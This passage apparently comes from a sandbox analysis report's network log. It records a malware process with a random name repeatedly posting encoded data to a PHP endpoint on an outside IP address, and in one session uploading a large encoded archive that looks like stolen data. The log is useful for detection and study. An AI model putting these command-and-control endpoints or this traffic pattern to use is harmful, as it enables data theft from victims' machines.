Apr 20, 2024 00:42:34.231827021 CEST	2568	OUT	Data Raw: 5a 56 5b 5e 54 5c 5d 51 5d 56 5a 59 52 50 56 53 54 5c 5c 5e 50 55 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV[^T\]Q]VZYRPVST\\^PUSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$_0<#)=U$#<%("8$?7X"-V4=?8\4?-.G#$Z-
Apr 20, 2024 00:42:34.498224020 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:34.965663910 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:35.227514029 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:35.227699995 CEST	2568	OUT	Data Raw: 5a 52 5e 58 54 5c 58 56 5d 56 5a 59 52 5b 56 55 54 51 5c 52 50 56 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR^XT\XV]VZYR[VUTQ\RPVS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$$,1B75T'$X&( 47()#_"! 1VY$]!<,:.G#$Z--
Apr 20, 2024 00:42:35.496387959 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:35.870891094 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:36.130650043 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:36.130975008 CEST	2568	OUT	Data Raw: 5a 57 5e 5f 51 5b 58 54 5d 56 5a 59 52 50 56 54 54 53 5c 5b 50 52 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZW^_Q[XT]VZYRPVTTS\[PRS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$^'< )U'(^1]4 +<<)'_!271)*8!?#-.G#$Z-
Apr 20, 2024 00:42:36.402276039 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:36.473692894 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2136 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:36.734340906 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:36.734605074 CEST	2136	OUT	Data Raw: 5f 55 5e 59 54 57 58 54 5d 56 5a 59 52 58 56 56 54 55 5c 52 50 51 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U^YTWXT]VZYRXVVTU\RPQSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'0!B >0V71+78,?:7X627"-=0[7??W-.G#$Z-5
Apr 20, 2024 00:42:36.999762058 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 5a 2a 29 26 55 23 32 3b 04 2c 2f 28 53 29 1f 22 11 2d 32 2d 5e 29 59 28 12 29 58 3d 52 2b 23 2b 02 27 0b 2c 5c 33 02 2e 57 39 00 20 5a 01 11 24 1c 27 2a 20 53 24 23 39 06 33 30 26 1c 25 2d 2e 1b 30 2b 26 55 2a 05 21 57 24 28 3b 02 28 28 0c 51 3c 01 0d 07 25 2c 23 52 21 1e 20 50 0c 10 38 53 3d 0b 3f 19 24 2c 06 0f 32 3f 0f 54 21 3d 24 57 26 06 2f 18 35 27 27 14 2b 1f 22 1b 3c 3e 30 13 36 22 28 5a 30 0f 34 11 28 32 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$Z)&U#2;,/(S)"-2-^)Y()X=R+#+',\3.W9 Z$' S$#930&%-.0+&U*!W$(;((Q<%,#R! P8S=?$,2?T!=$W&/5''+"<>06"(Z04(2"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:36.646425009 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:36.908005953 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:36.911935091 CEST	2568	OUT	Data Raw: 5f 50 5b 5b 54 5a 5d 56 5d 56 5a 59 52 5d 56 56 54 54 5c 5f 50 56 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _P[[TZ]V]VZYR]VVTT\_PVSZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$$Z-4)U30(]&8+ +;W++_":#>/ ,:.G#$Z-5
Apr 20, 2024 00:42:37.188201904 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:37.613461971 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2564 Expect: 100-continue
Apr 20, 2024 00:42:37.873179913 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:37.873358011 CEST	2564	OUT	Data Raw: 5f 57 5e 5a 54 5f 58 5e 5d 56 5a 59 52 58 56 5b 54 55 5c 59 50 5e 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _W^ZT_X^]VZYRXV[TU\YP^SRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''<4%T'(% ^#S)76,!T7:,,\!?7:.G#$Z-
Apr 20, 2024 00:42:38.141088963 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:38.581362963 CEST	305	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----09pDRrD0nZucDbA3LEhaxRdEovAqcnN7dg User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 217102 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:38.844067097 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:38.844335079 CEST	12890	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 39 70 44 52 72 44 30 6e 5a 75 63 44 62 41 33 4c 45 68 61 78 52 64 45 6f 76 41 71 63 6e 4e 37 64 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------09pDRrD0nZucDbA3LEhaxRdEovAqcnN7dgContent-Disposition: form-data; name="0"Content-Type: text/plain_[^\TWXT]VZYRPV[TP\_PQSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[V
Apr 20, 2024 00:42:39.107641935 CEST	10312	OUT	Data Raw: 30 50 33 39 46 6b 70 70 79 6e 79 37 63 31 6e 51 6b 41 68 79 35 36 39 44 5a 65 66 30 6f 68 31 65 4a 64 71 4d 61 39 35 76 4c 79 37 73 54 6f 79 50 73 65 51 2f 49 4e 35 7a 76 42 61 7a 76 72 63 75 66 72 69 66 67 36 2b 4d 4f 69 76 71 38 4a 47 38 45 47 Data Ascii: 0P39Fkppyny7c1nQkAhy569DZef0oh1eJdqMa95vLy7sToyPseQ/IN5zvBazvrcufrifg6+MOivq8JG8EGB4jnxpovjf7Qvj7+0sFl+lSCcks2vMv8R+qsgoBm6r2WZhMhtPS97+9KgV9d5nIjLxxcXKuexaKIq++3091sT1aQDW47OfmhZdFDAJ7ZPLhZ7ZDO/0juxVfoVc9gr+zO5mhhbCmiqIIA6PV1qVyle2mIIwBhc8Ms0
Apr 20, 2024 00:42:39.107676029 CEST	1289	OUT	Data Raw: 56 66 61 46 34 79 5a 75 56 33 65 75 44 2f 62 65 33 50 6b 57 7a 77 64 69 6e 39 43 36 6c 74 73 6e 2b 2f 30 59 35 75 36 6f 33 32 6a 4f 61 56 36 66 69 6f 71 39 72 66 6c 78 44 74 49 50 6a 43 4e 47 6c 70 43 62 38 51 4c 48 34 6e 79 66 70 39 56 63 6b 61 Data Ascii: VfaF4yZuV3euD/be3PkWzwdin9C6ltsn+/0Y5u6o32jOaV6fioq9rflxDtIPjCNGlpCb8QLH4nyfp9Vcka8nx5WK7i+PXFU28fvM18eX8kId6CM9+iiOckp+wvcAp+bfo+V7eV/Gz4SX0Nsw4qgPOQKIaclGIwONL9BDZ0z80DJ5WHlb2DzyBE2b3u95OX2YjOtajLmtrV3YTakj/oAk9fv7B1BLAwQUAAAICABSFZRYUK3T1oI
Apr 20, 2024 00:42:39.107676029 CEST	1289	OUT	Data Raw: 35 33 6b 47 53 68 71 51 44 34 79 41 72 45 5a 74 51 56 76 78 52 2f 32 6c 39 42 73 41 66 69 76 56 2f 50 68 6c 4c 4b 6e 6a 73 69 42 44 51 41 47 4d 7a 72 69 46 4b 44 39 4e 4a 2b 66 68 47 45 77 34 48 2f 4a 63 43 4a 48 6b 6b 41 46 7a 55 74 52 70 6a 59 Data Ascii: 53kGShqQD4yArEZtQVvxR/2l9BsAfivV/PhlLKnjsiBDQAGMzriFKD9NJ+fhGEw4H/JcCJHkkAFzUtRpjYZy+/jqyKMwYS6eeNGlQ7toIW5IXSYaghAKgDqGAgO790sRWGREBz7tlDUAMOQF4CxlJEdE6rDwKshw+jXPQGZsMQAP+X8XRX2LFkU7PDgB9PB4NAT3CJVCAL8bwdxuMBe0ltJASJALgvTKFYjLVBKxgoIPl36wsB0
Apr 20, 2024 00:42:39.159980059 CEST	1289	OUT	Data Raw: 2b 37 42 4b 41 68 68 4a 30 2f 33 76 30 66 4f 76 5a 71 7a 55 43 55 4a 6f 4d 58 2b 62 50 78 75 73 54 67 41 56 37 5a 68 55 50 45 31 6b 43 38 4d 77 48 54 76 33 6c 6f 4b 48 52 35 50 53 61 59 73 49 2f 4c 32 31 55 2f 78 68 6d 4b 65 77 61 68 55 62 71 4b Data Ascii: +7BKAhhJ0/3v0fOvZqzUCUJoMX+bPxusTgAV7ZhUPE1kC8MwHTv3loKHR5PSaYsI/L21U/xhmKewahUbqKl3ieGaYG96F6yjqzjcpal0NkElBWoh5+LAkParND7q7pp/uXKO+/9PfRmUTqZXXpCPsYXB3eIh5o485X9KBxPeVmrPhP0Ox1WVtRceThm+aloSamFC/JRSEKuFUNQRAHGSpoa3nme6jXYO5d9X/BEo/rqF9UbQBK3
Apr 20, 2024 00:42:39.369304895 CEST	1289	OUT	Data Raw: 55 57 70 6d 67 57 72 78 37 57 37 2f 6c 32 33 31 6a 73 37 42 70 61 70 65 30 76 46 43 39 77 33 65 36 6d 65 31 4a 41 2b 62 36 51 6a 4c 6d 6e 33 70 6f 6e 44 6b 57 6f 34 64 39 79 53 6c 4d 65 57 59 71 74 41 66 59 57 71 49 75 45 32 73 37 55 56 43 75 30 Data Ascii: UWpmgWrx7W7/l231js7Bpape0vFC9w3e6me1JA+b6QjLmn3ponDkWo4d9ySlMeWYqtAfYWqIuE2s7UVCu04ZHjfSnEHnLQjD4U7k2JiO9KrUO0ubE53/yIdgoFUNcPm/dZ2GuWeiBOAVWpcAvI3OPiE2zJptvjLjd/byJOr8mS0BGKBrQSsQgFTzqp27XyJao17sxS367vcdebUnrMmm5DpKeoi92lVdCI9v+uXbgn65QBZn4bQ
Apr 20, 2024 00:42:39.369334936 CEST	1289	OUT	Data Raw: 32 78 63 37 50 70 66 31 4a 6c 64 6c 41 36 49 71 2f 2f 64 37 73 2b 4c 52 6d 4a 49 6d 62 41 46 48 55 79 46 78 45 68 4e 46 57 68 6a 35 79 74 56 4a 32 4d 4e 55 55 59 36 6a 4f 6c 46 66 68 31 6b 38 71 7a 71 32 69 43 42 7a 57 2f 2b 54 78 61 65 6c 42 39 Data Ascii: 2xc7Ppf1JldlA6Iq//d7s+LRmJImbAFHUyFxEhNFWhj5ytVJ2MNUUY6jOlFfh1k8qzq2iCBzW/+TxaelB9GLRsPdgjiCZTpGUh7oUw4aAeIG8/ACP9MVzeJRRwBSJ4MaMEgSRA+SOOmmgMRNWeMiEAgCDzwnkx1XNhzR3HNMVBMNbblnKTrqYPR2bsgn2lDkRs7ENBHtpeznU5Jl5C0D/aNi60tWgNhKvaCk4fuYfvE9i8KByjv
Apr 20, 2024 00:42:39.369398117 CEST	7734	OUT	Data Raw: 32 56 30 31 75 55 34 59 71 32 72 2f 41 4b 54 48 33 35 55 63 6e 71 55 62 44 73 71 73 61 75 35 4f 47 32 4d 4d 64 39 2b 2f 58 50 64 4f 50 73 37 68 4b 71 52 4e 72 72 53 2b 35 56 57 54 48 53 48 65 39 39 37 49 64 48 4f 6f 62 4c 79 50 55 43 56 65 54 34 Data Ascii: 2V01uU4Yq2r/AKTH35UcnqUbDsqsau5OG2MMd9+/XPdOPs7hKqRNrrS+5VWTHSHe997IdHOobLyPUCVeT4jk+yXj3COn54nKAQE1FX0334DRkhsLNh7rJNj1dVg6+ztZ6Irw1K8niP3dcKHI2REcmu51WHzs/dEEvdqZI7egF6heU8uGpxzrQ/9EzdGsZ39nWx/bve51k+Ab+vBED5DRZ80RNn7RowR1hYHNaoq8Sp/iDRTNkZE
Apr 20, 2024 00:42:39.369415045 CEST	1289	OUT	Data Raw: 79 55 46 6c 74 56 78 58 31 56 57 52 62 56 31 58 30 55 53 31 6b 63 6a 54 71 55 4f 50 73 77 4a 75 49 64 51 4a 78 30 63 54 33 44 70 6f 6b 74 72 59 6a 64 31 70 38 47 77 55 6f 65 6f 42 75 70 70 68 44 65 39 58 70 51 51 42 34 79 69 75 35 67 37 6c 67 77 Data Ascii: yUFltVxX1VWRbV1X0US1kcjTqUOPswJuIdQJx0cT3DpoktrYjd1p8GwUoeoBupphDe9XpQQB4yiu5g7lgwlSLjrItZnYvJxVlbE1O7pbEaCraKZlZbgqmcgMEjMX2yhIfAurdztwJmL2jyzN0ruo1Ia4pKXUSB9NNIKMeQ7polQEBKT6QunMF5VeuQEpNOPi1vDvPczBvwnyhLoEE1vPJ6gNBv9dimUsbwxmdzoA0GnODOPJuYI
Apr 20, 2024 00:42:39.421648979 CEST	1289	OUT	Data Raw: 43 4d 4f 32 68 6c 4f 63 6e 45 41 59 77 38 70 47 46 69 5a 64 46 33 4a 48 46 76 42 4b 7a 61 66 77 37 42 43 38 39 34 36 42 57 71 4e 6e 79 79 71 58 6b 42 2f 75 78 76 68 6b 74 70 4b 52 61 41 56 4f 79 6b 37 6d 72 54 79 41 4e 39 6b 59 33 46 64 67 50 52 Data Ascii: CMO2hlOcnEAYw8pGFiZdF3JHFvBKzafw7BC8946BWqNnyyqXkB/uxvhktpKRaAVOyk7mrTyAN9kY3FdgPRBgBXS94XOumwLgxhKSqaIh13mwl6WlalI9PdNGBVgAFxuPQusyUjRpUk6h9NpHjSG0wABUHgK9OgAxVKSiSKaiEmIzVyP3pZtOsgKkNCZCJBY48gqk9YjJOTECDeX76XcLvm21sE6w8krzucgoQhkle/P2BL+rAP9
Apr 20, 2024 00:42:42.528145075 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:38.627440929 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:38.889064074 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:38.889267921 CEST	2568	OUT	Data Raw: 5a 56 5b 5b 54 5a 58 5e 5d 56 5a 59 52 5d 56 50 54 50 5c 59 50 56 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV[[TZX^]VZYR]VPTP\YPVS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''94R3<^';77;?W+*85>4-+/ 77W-4.G#$Z-5
Apr 20, 2024 00:42:39.158478022 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:39.543667078 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:39.802217007 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:39.802413940 CEST	2568	OUT	Data Raw: 5f 5a 5b 5b 51 5b 58 56 5d 56 5a 59 52 5d 56 56 54 54 5c 5f 50 53 53 5f 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Z[[Q[XV]VZYR]VVTT\_PSS_W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z$<:":%$ '++^7(++\6/!"2%)0^#<+U9$.G#$Z-5
Apr 20, 2024 00:42:40.067795992 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:40.450445890 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:40.711591005 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:40.711854935 CEST	2568	OUT	Data Raw: 5a 52 5e 5e 54 5b 58 56 5d 56 5a 59 52 5b 56 50 54 5d 5c 5b 50 53 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR^^T[XV]VZYR[VPT]\[PSSZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$$Z=E >&3+2;'4;):_!,-U"2"T>,]7':4.G#$Z--
Apr 20, 2024 00:42:40.979976892 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:41.355817080 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:41.614095926 CEST	25	IN	HTTP/1.1 100 Continue
